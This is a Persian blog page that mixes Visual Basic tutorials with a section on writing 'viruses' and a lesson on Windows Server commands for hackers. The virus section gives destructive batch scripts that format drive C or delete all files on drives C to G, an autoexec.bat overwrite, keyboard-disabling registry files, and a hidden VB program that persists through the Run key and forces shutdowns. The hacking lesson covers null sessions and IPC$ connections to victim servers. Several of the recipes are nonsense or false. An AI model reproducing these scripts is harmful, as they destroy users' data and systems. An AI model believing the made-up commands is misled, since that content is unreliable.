آموزش ویژوال بیسیک و برنامه نویسی
سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسیآموزش ویژوال بیسیک و برنامه نویسی
سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسیویروس نویسی
ویروس برای تخریب فلاپی به محض ورود آن به کامپیوتر
روی Desktop راست کلیک کرده و از شاحه New گزینه Shortcut را انتخاب کنید . درون کادر سفید رنگ
عبارت مقابل را تایپ کنید : format a:/autotest سپس کلید Enter را فشاردهید . نام فایل را بنویسید و
دوباره Enter را فشار دهید . با اجازه ویروس آماده است .
ویروس برای فرمت درایو c:
یک Notepad باز کنید و عبارات زیر را درون آن تایپ کنید :
@echo off
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo format /autotest c:/q>nul >>c:autoexec.bat
call attrib +r +h c:autoexec.bat >nul
exit
سپس آن را با هرنامی که دوست داشتید با پسوند .bat ذخیره کنید . با باز شدن این ویروس کل
اطلاعات auto.exe پاک می شود و'format /autotest c:/q' جایگزین این اطلاعات می شود .که در نتیجه
هنگام بالا آمدن ویندوز بطور خودکار ویندوز پاک می شود .
ویروس برای تخریب ویندوز
یک Notepad باز کنید و عبارات زیر را درون آن تایپ کنید :
C:
cd winnt
اگه ویندوزXP هست بجای CD Winnt بنویسید CD Windows
آن را با پسوند .bat و با هر نامی که دوست داشتید ذخیره کنید . وقتی کسی این ویروس رو باز کنه
هیچی نمی شه اما وقتی کامپیوتر رو ریستارت کنه ویندوز دیگه بالا نمی آید ./
ساخت ویروس برای صفرکردن تاریخ و ساعت کامپیوتر
ابتدا یک Notepad به نام time0.bat باز کنید و عبارات زیر را درون آن تایپ کنید :
@Echo off
time=0:0:0
دوباره یک Notepad با نام Date0.bat باز کنید و عبارت زیر را درون آن تایپ کنید :
@ECHO OFF
date=10-10-10
سه باره یک Notepad با نام Comment.bat باز کنید و عبارات زیر را درون آن تایپ کنید :
@echo off
echo I AM A VIRUS
echo SEAT AND SEE MY POWER!!!...
pause
یک Notepad دیگر با نام help.bat باز کنید و درون آن عبارات زیر را تایپ کنید :
START TIME0
START DATE0
START comment
رو ی help.bat کلیک راست بکنین و Create ShortCut رو بزنین روی شرت کات ساخته شده کلیک راست
کنین properties رو بزنین بعد تو قسمت General به جای نام فایلتون بزنین help.txt . ویروس آماده
است و باباز کردن فایل help.txt ساعت و تاریخ کامپیوتر ریست میشه
ویروسی برای از کارانداختن Keyboard(بی خطره)
بوسیله برنامه Notepad دوفایل بسازید : 1- Reg-on.Reg و 2-Reg-off.Reg
فایل اولی برای فعال ساختن ویروس و فایل دومی برای غیر فعال ساختن آن : در فایل اولی تایپ کنید:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response]
"Flags"="127"
[HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry]
"Flags"="3"
"WindowsEffect"="3"
در فایل دومی برای از کار انداختن ویروس از عبارات زیر استفاده کنید :
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response]
"Flags"="126"
[HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry]
"Flags"="2"
"WindowsEffect"="0"
این دوفایل زا با نام های گفته شده ذخیره کنید . ویروس آماده بید جیگر.!!!
البته باید کامپیوتر بعد از اجرای فایل ریستارت شود .
ساختن ویروس برای پر شدن فضای گرافیک و جلوگیری از
اجرای بازیها روی کامپیوتر
یک Notepad باز کنید وعبارات زیر را در آن تایپ کنید :
c/windows/system32/jefo/display/memory/full
سپس آن را با نام tak-hack.bat ذخیره کنید ./
با اجرای این ویروس دیگه هیچ بازی روی کامپیوتر اجرا نمی شه
ساختن ویروس Blaster
نشانه: هنگام اجرا شدن این ویروس پنجره ای همراه با یک تایمر معکوس باز شده و علامت Cancel کردن آن هم خاموش است . و پس از اتمام این ثانیه شمار کامپیوتر ریست می شود و عوارضی برای کامپیوتر دارد . این ویروس خیلی خطر ناک نیست اما برای کامپیوتر ضرر دارد و بیشتر در اینترنت منتشر میگردد . شروع کار:
ابتدا روی صفحه Desktop راست کلیک کرده و New را انتخاب کنید . Short cut را انتخاب کرده و درون کادر عبارت :
Shutdows –s –t xxx را تایپ کنید توجه داشته باشید به جای xxx (به ثانیه) مدت زمانی را وارد کنید که کامپیوتر ریست می شود . سپس دکمه Enter را فشار دهید . نام فایل را مشخص نموده و Enter را فشار دهید
ضد ویروس Blaster:
ابتدا روی صفحه Desktop راست کلیک کرده و New را انتخاب کنید . Short cut را انتخاب کرده و درون کادر عبارت :
Shutdows –a را تایپ کنید . سپس دکمه Enter را فشار دهید . نام فایل را مشخص نموده و Enter را فشار دهید
هر وقت از اینترنت این ویروس برای شما ارسال شد، با باز کردن این فایل از ریست شدن کامپیوتر جلوگیری می شود
در ضمن این ضد ویروس سرعت کامپیوتر را تغییر نمی دهد.
ساختن ویروسی برای Internet Explorer
این ویروس اینترنت اکسپلورر رو فیلتر گذاری می کنه و باعث خراب شدنش می شه . طرز کار:
یک Notepad باز کنید . درون آن جمله روبرو را بنویسید: pouped-blocked-web-exploure-online&offline
بعد اون رو با پسوند .bat ذخیره کنید .
نوعی دیگر از ویروس برای فورمت کردن هارد
با اجرا شدن این ویروس کلیه اطلاعات هارد پاک شده و به هیچ وجه بازیافت نمی شه:
روش کار: یک Notepad باز کنید و در آن بنویسید :
echo off@
ATTRIB -a -s -h -r c
ATTRIB -a -s -h -r c:windows*.*
Echo y | echo a | Echo y | del c:*.*
Echo y | echo a | Echo y | del d:*.*
Echo y | echo a | Echo y | del e:*.*
Echo y | echo a | Echo y | del f:*.*
Echo y | echo a | Echo y | del g:*.*
echo y | copy *.* C:
echo y | copy *.* D:
echo y | copy *.* E:
echo y | copy *.* F:
echo y | copy *.* G:
resrart
حالا با پسوند .bat ذخیره کنید .
ساختن ویروسی ساده ولی در عین حال خطرناک
این ویروس ساختنش کاری نداره ولی اگه کسی بازش کنه .............. به سمت بهشت زهرا ارسال می شه . حالا طرز کار : یکNotepad باز کرده و درون آن بنویسید : Format c:/autotest بعد با پسوند .bat ذخیره کنید . این ویروس موقع اجزا شدن درایو C رو فرمت می کنه به طوری که نه می شه اطلاعاتی توش ریخت نه می شه فرمتش کرد .
افکت روی عکس
خب ببینم امروز چی داریم یه برنامه برای ایجاد افکت روی عکس یعنی وقتی یه عکس داره تبدیل می شه به عکس دومی به شکل
زیبایی محو بشه.خب برای هر چیز قشنگی باید زحمت کشید
پس با جدیت شروع کنید تو کادر عکسPictureبه فرم اضافه کنید سپس
خاصیتAutoReDrawعکس اولیه روTrueودومیه رو Falseکنید تا تصویر بعد از طراحی باقی بمونه
ویک دکمه که باید بازدن اون افکت اجرا بشه.یه ماژول اضافه کنید و کد زیر رو براش بنویسید
دو تا عکس به سلیقه خودتون داخل کادر عکس ها بندازید سعی کنید هم اندازه باشند
در خط اول کد های فرم کد های زیر رو بنویسید
Option Explicit
Dim hBrush As Variant
Dim PixelSetSequence(64) As Integer
Dim DissolveStep As Long
Const NumberOfSteps = 8'--------------------------------------
Private Function CreateDissolveBrush(DissolveStep As Long) As Long
Dim hCompBitmap As Long
Dim BrushBitmapInfo As BITMAPINFO
Dim Counter As Integer
Dim PixelData As String * 32
Dim Dummy As Long
Dim Row As Integer
Dim Column As Integer
With BrushBitmapInfo.bmiHeader
.biSize = 40
.biWidth = 8
.biHeight = 8
.biPlanes = 1
.biBitCount = 1
.biCompression = 0
.biSizeImage = 0
.biXPelsPerMeter = 0
.biYPelsPerMeter = 0
.biClrUsed = 0
.biClrImportant = 0
End With
' Set the color table values for
' the brush to black and white.
With BrushBitmapInfo.bmiColors(0)
.rgbBlue = 0
.rgbGreen = 0
.rgbRed = 0
.rgbReserved = 0
End With
With BrushBitmapInfo.bmiColors(1)
.rgbBlue = 255
.rgbGreen = 255
.rgbRed = 255
.rgbReserved = 0
End With
' Initialize brush bitmap pixel data to all white.
For Counter = 0 To 7
Mid$(PixelData, Counter * 4 + 1, 1) = Chr$(&HFF)
Next Counter
' Set the bits representing the black pixels to 0.
For Counter = 1 To DissolveStep * (64 / NumberOfSteps)
Row = (PixelSetSequence(Counter) - 1) 8
Column = (PixelSetSequence(Counter) - 1) Mod 8
Mid$(PixelData, Row * 4 + 1, 1) = Chr$(Asc(Mid$(PixelData, Row * 4 + 1, 1)) And (Not (2 ^ Column)))
Next Counter
' Convert the DIB into a DDB and create the pattern brush.
hCompBitmap = CreateDIBitmap(Disolve1.hDC, BrushBitmapInfo.bmiHeader, CBM_INIT, PixelData, BrushBitmapInfo, DIB_RGB_COLORS)
CreateDissolveBrush = CreatePatternBrush(hCompBitmap)
Dummy = DeleteObject(hCompBitmap)
End Function'------------------------------------------------
Private Sub Picture2_Paint()
Dim hRgn As Long
Dim Dummy As Long
Dim hOldBrush As Long
hBrush = CreateDissolveBrush(DissolveStep)
hOldBrush = SelectObject(Picture2.hDC, hBrush)
Dummy = BitBlt(Picture2.hDC, 0, 0, Picture2.ScaleWidth, Picture2.ScaleHeight, Picture1.hDC, 0, 0, &HAC0744)
'Dummy = StretchBlt%(Picture2.hDC, 0, 0, Picture2.ScaleWidth, Picture2.ScaleHeight, Picture1.hDC, 0, 0, Picture2.ScaleWidth, Picture2.ScaleHeight, &HAC0744)
Dummy = SelectObject(Picture2.hDC, hOldBrush)
Dummy = DeleteObject(hBrush)
End Sub'-----------------------------------
Private Sub CreatePixelSetSequence()
Dim Counter As Integer
Dim PixelNumberString As String * 5
Const PixelListFile = 1
Open App.Path & "PixelLst.TXT" For Input As #PixelListFile
For Counter = 1 To 64
Input #PixelListFile, PixelNumberString
PixelSetSequence(Counter) = Val(PixelNumberString)
Next Counter
End Sub'------------------------
حالا یه تایمر به فرم اضافه کنید و خاصیتIntervalآن را به56وEnabledآن را به Falseتغییر دهید
وبه ترتیب برای دکمه ها کد های زیر را بنویسید
رویداد کلیک دکمه
Command1.Enabled = False
Timer1.Enabled = True
رویداد لواد فرم
CreatePixelSetSequence
DissolveStep = 0
رویداد کلیک عکس دومی
If DissolveStep < NumberOfSteps Then
DissolveStep = DissolveStep + 1
Picture2_Paint
End If
روداد تایمر کنترل تایمر
If DissolveStep < NumberOfSteps Then
DissolveStep = DissolveStep + 1
Picture2_Paint
Else
Timer1.Enabled = False
End If
End Sub
آموزش فراخوانی یک آدرس اینترنتی با استفاده از Internet Explorer
برنامه ای که قرار بگم با استفاده از یک کلیک به ادرس اینترنتی مورد نطر شما برود
این برنامه برای افرادی مناسب است که برنامه ای ساخته باشند و بخواهند در برنامه
ادرس سایت یا وبلاگ خود را بگذارند .
ویژوال بییک را اجرا کنید Standard EXE را انتخاب و open را بزنید حال در منوی projectدر بالای صفحه گزینه References را بزنید گزینه microsoft shell contros and automation را پیدا کنید وتیک بزنید و در آخر ok کنید حال روی form1 دابل کلیک کنید ودر قسمت بالای صفحه(general نام دارد) عبارت زیر را تایپ کنید
Dim a As New Shell
حال یک کنترل command button را به form1 اضافه کنید وخاصیت caption ان را برابر go to web کنید و enter را بزنید روی command button دابل کلیک کنید
و در پنجره کدنویسی ان فرمتن زیر را تایپ کنید
" a.Open "http://BestVB.Ir
به جای http://BestVB.Ir هر ادرسی را که دوست دارید بنویسیدحال برنامه را امتحان ودر ویندوز قرار دهید.
ویروس: من اینجام.اگه میتونی منو بگیر !! | ویروس
دوستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختلفی داره .از جمله این که به یارو بفهمونه منم ویروس بلدم بنویسم!!!(این کار بخصوص نزد تازه کارها از جمله خودم رواج بیشتری داره)
ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه 
وسایل لازم: فقط یه تایمر
کدها:
Private Sub Form_Load()
App.TaskVisible = False
timer1.interval=1
Me.Hide
Set Reg = CreateObject("wscript.shell"
Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"
Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager"
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub
و اما توضیحات:
خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown رو اجرا میکنه
امکان شماره گیری تلفن با برنامه شما | توابع API
اینکار خیلی آسونه. یک پروژه جدید باز کنید و تو فرمتون یک Command Button و یک TextBox بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :
Private Declare Function tapiRequestMakeCall Lib "TAPI32.DLL" (ByVal Dest As String, ByVal AppName As String, ByVal CalledParty As String, ByVal Comment As String) As Long
Private Sub Command1_Click()
tapiRequestMakeCall Text1.Text, "", "", ""
End Sub
حالا برنامه رو اجرا کنید تو TextBox شماره تلفن رو وارد کنید و کلید Command1 رو بزنید، میبینید که شماره گیری توسط خود ویندوز انجام میشه و احتیاجی نیست که شما کاری انجام بدید. موفق باشید.
ویندوز سرور برای هکرها
این مقاله ادامه مقاله قبلی‌ه! در این درس نیز ما با یک سرور ویندوز به صورت یک کامپیوتر منفرد سروکار داریم و توجهی به کامپیوترهای متصل به اون در شبکه‌ای که هست نداریم.- اکانت‌ها و گروه‌ها در ویندوز سرور
همون‌طور که گفتم ما داریم در مورد یک ویندوز سرور منفرد صحبت میکنیم، بنابراین منظور من از اکانت، اکانت‌های محلی یا local است ( وقتی چند ویندوز سرور در کنار هم و به صورت شبکه مورد استفاده هستند، معمولا اکانت‌های سراسری یا global هم ست میشود که برای دسترسی به منابع در domain مورد استفاده قرار میگیرد. درمورد اینکه domain در ویندوز سرور چیست، بعدها توضیح می‌دم). بنابراین ما بحث اکانت‌های لوکال رو داریم. در مورد گروه‌ها هم همین‌طور یعنی گروههای لوکال رو می‌گم.
اکانت عبارت از یک username و password معتبر در ویندوز سرور است. وقتی از طریق یک اکانت به سیستم وارد میشویم، اصطلاحا می‌گوییم که login یا logon کرده‌ایم. با login کردن به سرور به سطحی خاص از دسترسی به فایل‌ها و منابع سیستم می‌رسیم که بستگی به سطح اختیارات اون اکانت داره. تعداد زیادی اکانت لوکال پیش‌فرض وجود داره که مهم‌ترین‌هاش، ایناست:
۱- اکانت Administrator : بالاترین سطح دسترسی به اون سرور خاص است. اگه با این اکانت login کنید، به نهایت دسترسی به اون کامپیوتر رسیده‌اید. معادل root در سیستم‌عامل‌های مبتنی بر یونیکس.
۲- اکانت guest : به صورت پیش‌فرض غیر فعال است. اختیارات بسیار محدودی دارد.
۳- اکانت IUSR_xxxxx-yyyyy : در این اکانت xxxx-yyyyyy نام همون کامپیوتره. مثلا ممکنه اسم این اکانت این باشه: IUSR_ABBASGOLI-V0P1QR !! این اکانت همراه با IIS به طور پیش‌فرض ایجاد میشه و خود ویندوز یه پسورد random براش ست میکنه. ( IIS یا Internet Information Server وب‌سرور مایکروسافت برای ویندوز است. این نرم‌افزار همون چیزی است که روی پورت ۸۰ فال‌گوش می‌ماند و وقتی شما سایتی از اون سرور رو توسط مرورگر درخواست می‌کنید، برای شما صفحه وب رو می‌فرستد. وب سرورهای دیگری نیز برای ویندوز وجود دارد که به اندازه IIS پرکاربرد نیستند) این اکانت نیز یک اکانت محدود است. وقتی شما مشخصا از طریق پورت ۸۰ ویندوز سروری را هک می‌کنید که IIS روی اون نصب شده و یک شل از این طریق می‌گیرید، معمولا شما سطح اختیاراتی معادل همین اکانت IUSR_xxxxx-yyyyy رو بدست آوریده‌اید. یعنی شما سطح اختیارات Administrator رو ندارید. خیلی‌ّها از من می‌پرسند که مثلا با Unicode bug یک ویندوز ۲۰۰۰ رو هک کرده‌ایم ولی نمی‌تونیم مثلا صفحه اول سایت رو عوض کنیم... دلیلش اینه که شلی که شما از این طریق بدست آورده‌اید، در سطح Administrator نیست و ممکن است لازم باشد که به طریقی از اکانت IUSR_xxxxx-yyyyy به Administrator برسید تا بتونید اون فایل خاص (صفحه اول) رو بدست بگیرید.
۴- و...
گروههای محلی ( local groups ) چیست؟
فرض کنید که یه کامپیوتر ۵۰ اکانت مختلف در اون ایجاد شده که هر کدوم از این اکانت‌ها دسترسی متفاوتی باید به منابع داشته باشند. اگه قرار باشه هر ۵۰ اکانت تک تک ایجاد بشه و اجازه دسترسی به منابع خاص یکی یکی ایجاد بشه، کار بسیار طولانی خواهد بود. معمولا اینگونه است که تعداد زیادی از این اکانت‌ها باید سطح اختیارات یکسان داشته باشند، مثلا ۳۰ تاشون در حد guest باید به سرور دسترسی داشته باشند. در این حالت بهتر است که یک گروه ایجاد شود و اختیارات واسه اون گروه ست بشه. حالا هر اکانتی که داخل اون گروه ایجاد بشه، همون سطح اختیارات رو خواهد داشت و این مدیریت رو ساده‌تر میکنه. معمولا اسم گروه‌ها یه حرف s آخرشون دارند که علامت جمع‌ه. مهم‌ترین گروه‌ها عبارتند از:
۱- Administrators: یعنی admin ها. مجموعه‌ای از اکانت‌ها که دسترسی‌شون در حد Administrator است.
۲- Power Users
۳- Backup Operators
۴- Guests
۵- Users
۶- و...
Account Policy چیست؟
قواعدی است که برای اکانت‌ها ست میشود. مثلا ممکن است Admin سرور ست کند که حداقل طول پسورد برای اکانت باید ۶ حرف باشد یا اینکه فلان اکانت بعد از ۳ بار امتحان ناموفق برای login قفل شود و... این اطلاعات رو قبلا در درس پورت ۱۳۹ گفتم که میشه به کمک enum یا winfo و... بدست آورد.
- permision ها ( مجوزها ) در NTFS
مجوزها در NTFS مهم‌ترین تحولی است که نسبت به FAT32 رخ داده است. مجوزها تعیین می‌کنند که یک یوزر که به سیستم login کرده است، در چه حدی میتواند با فایل‌های یک فولدر کار کند. فرض کنید که یک یوزر از گروه guests به سیستم وارد شده است، در این حالت مسلما نمی‌خواهیم که این فرد بتواند به تمام فایل‌ها دسترسی از نوع خواندن و نوشتن داشته و آنها را تغییر دهد. پس فولدرهایی وجود دارند ( مثل فولدر مربوط به فایل‌های ویندوز ) که فقط برای افراد خاصی قابل دسترسی هستند.
نکته بسیار مهم در ویندوز این است که مجوزها برای فولدرها تنظیم می‌شوند نه برای فایل‌ها. به عبارت دیگر وقتی مجوزی برای فایلی می‌خواهیم ست کنیم، در ویندوز سرورها نمی‌توانیم برای اون فایل این مجوز رو تنظیم کنیم، بلکه باید فولدری که فایل در اون قرار گرفته رو ست کنیم. در این حالت تمام فایل‌های داخل اون فولدر همین مجوز رو خواهند داشت.
نکته مهم دیگر این است که مجوزها برای اکانت‌های مختلف به صورت‌های متفاوت ست می‌شوند. مثلا ممکن است فولدر ویندوز برای اکانت‌های guest به صورت فقط خواندنی تنظیم شود، ولی برای اکانت‌های Administrators به صورت دسترسی کامل.
الف- مجوزها در NTFS 4.0:
۱- No Access : یعنی عدم دسترسی برای یک اکانت خاص. یعنی اینکه حتی نمی‌توان وارد اون فولدر شد.
۲- Read: فقط خواندنی. یعنی میشه به فولدر وارد شد و فایل‌ها رو دسترسی داشت ( چه فایل‌های اجرایی و چه غیر اجرایی ) و اون‌ها رو خواند ( در مورد فایل‌های اجرایی یعنی میشه اجراشون کرد ) ولی اجازه تغییر در فایل‌های اون فولدر مثل پاک کردن، ویرایش و ایجاد فایل جدید رو نداریم.
۳- Change: یعنی هم خواندن، هم تغییر، هم حذف و هم اجرا برای اون اکانت خاص مجاز است. یعنی همه کار ولی نه تغییر دادن مجوزها واسه اون فولدر. یعنی اینکه فرد نمی‌تونه ست کنه که این فولدر که الان مثلا برای اکانت‌های guests قابل دسترسی نیست، قابل دسترس بشه.
۴- Full Control: یعنی دسترسی کامل. شامل همه مواردی که در شماره ۳ گفته شد + اجازه تغییر مجوزها. بنابراین این مجوز معمولا فقط برای Adminها ست میشود.
ب- مجوزها در NTFS 5.0:
۱- No Access : یعنی عدم دسترسی.
۲- Read: فقط خواندنی. در NTFS 4.0 در حالت Read می‌تونستیم فایل‌های اجرایی داخل اون فولدر رو اجرا کنیم ولی در NTFS 5.0 با این مجوز نمی‌تونیم فایل‌های اجرایی رو اجرا کنیم و فقط می‌تونیم بخونیم.
۳- Read & Execute: یعنی اجازه خواندن و نیز اجازه اجرا کردن.
۴- Write: یعنی اجازه خواندن، اجزا کردن و تغییر دادن.
۵- Modify: دقیقا مثل Write. این نشون از ضریب هوشی مایکروسافت بزرگ داره! دو اسم برای یک نوع دسترسی :)
۶- Full Control: یعنی مثل Write + اجازه تغییر مجوزها
- Share ها در ویندوز سرور
share در ویندوز سرورها یعنی منابعی که از طریق شبکه ( یعنی از راه دور ) قابل دسترسی باشد. همون‌طور که تو درس مربوط به پورت ۱۳۹ گفتم، دسترسی به منابع اشتراکی در ویندوز سرورها، از طریق پروتکل SMB است که مایکروسافت اونو CIFS میگه. در این حالت، اول یک احراز هویت داریم و بعد از اون یک session یا نشست تشکیل میشه ( یه چیزی هم به اسم Null Session هست که توضیحاتش در همون درس اومده. ) پروتکل‌های قدیمی NetBEUI (که از دور خارج شده) و NetBIOS هم چیزی است هنوز هم توسط ویندوز ساپورت میشه. منابع اشتراکی هم که مشخصه: فولدرها، درایوها و چاپگر.
حالا می‌رسیم به لیست share ها:
$IPC : یعنی دسترسی کامل. اگه بتونیم به این share برسیم در واقع به تمام فایل‌ها، درایوها و فولدرها دسترسی داریم. معمولا دسترسی به این share فقط واسه اکانت‌های Admin است.
$ADMIN : این share مربوط به فولدری است که ویندوز در اون نصب شده است یعنی %SystemRoot% بنابراین share محدودتری نسبت به $IPC محسوب میشه.
$print : یعنی چاپگر! فولدر مربوطه‌اش اینجاست: SystemRoot%system32spoolPRINTERS% یعنی با این share به این فولدر دسترسی داریم. این فولدر جایی است که کارهای چاپی به صورت فایل‌هایی با پسوند spl نگهداری می‌شوند.
$C و $D و...: اگه این share ها ست شده باشه به درایوهای C و D و ... دسترسی داریم.
share های دیگر: هر فولدری رو در ویندوز میشه share کرد و یک نام خاص به اون نسبت داد...
خوب بحث اینجاست که هر کدوم از این share ها هم می‌تونند واسه اکانت‌های مختلف به صورت‌های متفاوت مجوزدهی شوند ( درست مثل بحث NTFS که گفتم) ولی یه تفاوت وجود داره. در مورد share ها عبارت Network Access رو بکار می‌بریم ولی واسه NTFS عبارت Local Access و اینا ممکنه متفاوت باشند. مثلا فرض کنیم که درایو C واسه اکانت guest در share به صورت read ست شده باشه. ولی در همین درایو فولدر ویندوز باشه که واسه guest در NTFS به صورت No Access ست بشه. حالا چه اتفاقی می‌افته؟ در این حالت، به صورت اشتراک به قضیه نگاه میکنیم، یعنی No Access (واسه حالت local Access) و Read (واسه حالت remote Access ) رو با هم اشتراک می‌گیریم ( همون چیزی که تو درس ریاضیات خوندیم! ) و نتیجه No Access میشه. پس اگه یک guest از طریق share وارد درایو C بشه، اگرچه به خیلی از فولدرها دسترسی خواهد داشت ولی دسترسی اون به فولدر مربوط به ویندوز در همون درایو غیرممکن خواهد بود.
- سایر دستورات خط فرمانی در ویندوز سرورها
یک سری دستورات خط‌فرمانی در قسمت اول این مجموعه درس‌ها بررسی شد. بیشتر دستورات خط‌فرمانی که امروز می‌گم، از مجموعه دستور net ویندوز هستند (یعنی با عبارت net شروع می‌شوند) و اکثرا لازم است که با اکانتی در حد Administrator باشید که اجرا بشوند. یه مطلب دیگه اینکه وقتی می‌گم که یه دستور به صورت لوکال هم می‌تونه اجرا بشه، روی ویندوز NT کامپیوتر خودتون هم می‌تونید تست کنید. مطلب بعدی اینکه این دستورات کاربردهای زیادی دارند ولی ما فقط مواردی رو بررسی میکنیم که بدرد یک هکر می‌خوره!
۱- net help :
این دستور در واقع help دستور net است. می‌نویسم:
و جواب می‌شنوم:net help
توضیحات کاملا واضحه. مثلا اگه بخوام در مورد دستور net time و کاربردش اطلاعات بگیرم، باید بنویسم:The syntax of this command is: NET HELP command -or- NET command /HELP Commands available are: NET ACCOUNTS NET HELP NET SHARE NET COMPUTER NET HELPMSG NET START NET CONFIG NET LOCALGROUP NET STATISTICS NET CONFIG SERVER NET NAME NET STOP NET CONFIG WORKSTATION NET PAUSE NET TIME NET CONTINUE NET PRINT NET USE NET FILE NET SEND NET USER NET GROUP NET SESSION NET VIEW NET HELP SERVICES lists the network services you can start. NET HELP SYNTAX explains how to read NET HELP syntax lines. NET HELP command | MORE displays Help one screen at a time.
یاnet help time
تا توضیحات بیاد.net time /help
۲- net helpmsg :
وقتی که یک دستور net به صورتی اجرا میشه که خطایی پیش بیاد، ویندوز یک شماره خطای ۴ رقمی به ما میده که برای دریافت جزئیات بیشتر در مورد این خطا باید از دستور net helpmsg استفاده کنیم. مثلا می‌نویسم!
و جواب میاد:net share shanguli_mangul_habbeye_angur
یک خطا رو گزارش داده و یک عدد ۴ رقمی به من داده. برای اینکه بدونم جزئیات خطا چیه، می‌نویسم:This shared resource does not exist. More help is available by typing NET HELPMSG 2310.
و به من میگه که اشتباه من چه بوده است...net helpmsg 2310
۳- net time :
ما از این دستور برای فهمیدن زمان روی یک سرور استفاده میکنیم. اگه به صورت لوکال استفاده می‌کنید ( یعنی اگه یک shell در سرور قربانی دارید و دستورات رو همون‌جا تایپ می‌کنید) بنویسید:
ولی اگه به صورت remote کار می‌کنید (یعنی یک NetBIOS session تشکیل داده‌اید توسط دستور net use که در درس پورت ۱۳۹ هم توضیح داده شده )، بنویسید:net time
که xxx.xxx.xxx.xxx همان ip ی است که session براش داریم.net time \xxx.xxx.xxx.xxx
۴- net use :
این دستور دو کاربرد مهم داره که در بحث پورت ۱۳۹ بحث شده‌است. اولین کاربرد connect یا disconnect شدن به یک کامپیوتر با پورت ۱۳۹ باز و NetBIOS فعال است. مثلا اگه بخوام با اکانت Administrator با پسورد yechizi به کامپیوتری با ip ی xxx.xxx.xxx.xxx کانکت بشم به share ی به اسم $IPC (این share معمولا هست، به همین دلیل از این share استفاده کردم. اگه شما روی کامپیوتر قربانی از وجود share دیگری اطلاع دارید، همون رو استفاده کنید ) ، می‌نویسم:
این کاربرد اول بود که اینو قبل از دستور net view انجام می‌دیم. می‌تونستیم یک null Session تشکیل بدیم، به این صورت که قسمت مربوط به username و password رو خالی بذاریم. به این صورت:net use \xxx.xxx.xxx.xxxIPC$ "yechizi" /user:"Administrator"
حالا session تشکیل شده است! کاربرد بعدی اینه که بعد از اینکه دستور بالا رو اجرا کردم و بعد دستور net view رو اجرا کردم و لیست کامل share ها رو بدست آوردم، بیام و یکی از این share ها رو استفاده کنم. مثلا اگه اسم share که لیست شده، SharedDocs باشه، و بخوام یک درایو جدید رو بهش نسبت بدم که بتونم باهاش کار کنم، می‌نویسم:net use \xxx.xxx.xxx.xxxIPC$ "" /user:""
معنی کاراکتر * اینه که اگه مثلا آخرین درایو در کامپیوتر من ( با احتساب سی-دی درایو ) مثلا G باشه، درایوی که برای share استفاده میشه، درایو بعدی یعنی H باشه. می‌تونستم اینطوری هم بنویسم:net use * \xxx.xxx.xxx.xxxSharedDocs
خوب حالا می‌تونم مثل یک درایو محلی باهاش کار کنم. توی درس پورت ۱۳۹ می‌اومدیم و My Computer رو از دسکتاپ باز می‌کردیم و با درایو جدید کار می‌کردیم. چون ما دستورات داس رو یاد گرفته‌ایم می‌تونیم با این دستورات هم با اون درایو کار کنیم، مثلا بنویسیم:net use H: \xxx.xxx.xxx.xxxSharedDocs
وقتی کارمون با share تموم شد، باید disconnect کنیم، با این دستور :H: dir ,...
تا ارتباط قطع بشه.net use /delete H:
۵- net view :
netbios session تشکیل داده‌ام (گاهی Null Session هم جواب میده) و حالا می‌خوام ببینم که چه منابعی برام share شده، می‌نویسم:
و مثلا جواب می‌گیرم:net view \xxx.xxx.xxx.xxx
میبینید که SharedDocs فولدری‌است که share شده. حالا با دستور net use می‌تونم از share استفاده کنم.Shared resources at \xxx.xxx.xxx.xxx Share name Type Used as Comment ------------------------------------------------ SharedDocs Disk The command completed successfully.
۶- net share :
این دستور به ما کمک میکنه که share ها رو به صورت لوکال مدیریت کنیم ( دستور بالایی به صورت remote استفاده می‌شد ) . می‌خوام ببینم که چه share هایی الان هست. می‌نویسم:
و جواب می‌گیرم:net share
همشون پر واضح‌اند! خوب حالا می‌خوام مثلا $C رو از لیست share ها پاک کنم. می‌نویسم:Share name Resource Remark ------------------------------------------------------------------------------- F$ F: Default share IPC$ Remote IPC D$ D: Default share I$ I: Default share G$ G: Default share E$ E: Default share ADMIN$ I:WINNT Remote Admin H$ H: Default share C$ C: Default share J$ J: Default share The command completed successfully.
اگه دوباره لیست رو بیارم، می‌بینم که دیگه نیست. می‌خوام دوباره همون رو share کنم، می‌نویسم:net share C$ /delete
حالا می‌خوام مثلا فولدر C:ali رو به اسم info بیام و share کنم، می‌نویسم:net share C$=C:
حالا اگه لیست بگیرم، می‌بینم که وارد لیست شده.net share info=c:ali
۷- net accounts :
Account Policy رو برای اکانتی که با اون وارد شده‌ایم بیان میکند. به‌صورت لوکال استفاده میشود. می‌نویسم:
و مثلا جواب می‌شنوم:net accounts
